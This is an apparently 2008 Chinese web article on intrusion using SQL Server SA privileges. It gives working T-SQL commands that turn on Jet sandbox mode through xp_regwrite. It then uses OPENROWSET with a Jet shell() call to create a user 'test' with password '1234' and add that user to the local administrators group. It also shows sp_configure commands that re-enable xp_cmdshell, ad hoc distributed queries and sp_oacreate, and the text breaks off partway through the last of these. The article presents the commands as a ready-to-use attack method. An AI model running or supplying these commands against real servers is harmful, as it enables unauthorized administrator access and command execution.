专题：   3G中国  SaaS时代  危机下的企业  JAVA语言  百度竞价排名  Windows 7  刀片式服务器    移动嵌入串串烧 
更多精彩专题

SQL Server SA权限最新入侵方法

2008-07-31 04:04:43.0     推荐:0    收藏:0    评论:0     来源:e800服务器频道
  • 热门标签
  •   sa  
SQL Server SA权限最新入侵方法

　　使用jet沙盘模式，可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因，系统默认情况下沙盘模式未开启，这就需要xp_regwrite开启沙盘模式：

Exec master.dbo.xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\Jet\4.0

　　\Engines'',''SandBoxMode'',''REG_DWORD'',1

　　然后执行沙盘命令，在系统添加一个用户名为test，密码为1234的用户：

select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:\windows

　　\system32\ias\ias.mdb'',''select shell("cmd.exe /c net user test 1234 /add")'')

　　select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:\windows

　　\system32\ias\ias.mdb'',''select shell("cmd.exe /c net localgroup

　　administrators test /add")'')

　　不同的操作系统，路径也不一样，需要根据情况做修改：

　　NT/2K: c:\winnt\system32\

　　XP/2003: c:\windows\system32\

　　另外Microsoft SQL Server2005在默认情况下，一些存储过程是关闭着的，需要命令打开：

　　开启XP_cmdshell：

EXEC sp_configure ''show advanced options'', 1;RECONFIGURE;EXEC sp_configure

　　''xp_cmdshell'', 1;RECONFIGURE;

　　开启''OPENROWSET''：　

exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp_configure

　　''Ad Hoc Distributed Queries'',1;RECONFIGURE;

　　开启''sp_oacreate'':　　

exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp
您可以针对本文进行：[评论]  [收藏]  [推荐]   [查看原文链接]  
  • 共有0条评论  点击查看更多评论
  • 网友评论仅供网友表达个人看法，并不表明e800同意其观点或证实其描述
我想发表评论：
用户名密码
  • 匿名发表
    验证码：
  • 服务器专题
  • 刀片式服务器
  • 刀片式服务器
     刀片服务器是低成本平台,是专门为特殊应用行业和高密度计算机环境设计的。
    • 资讯热点文章
      • 服务器专题
        • 服务器文章排行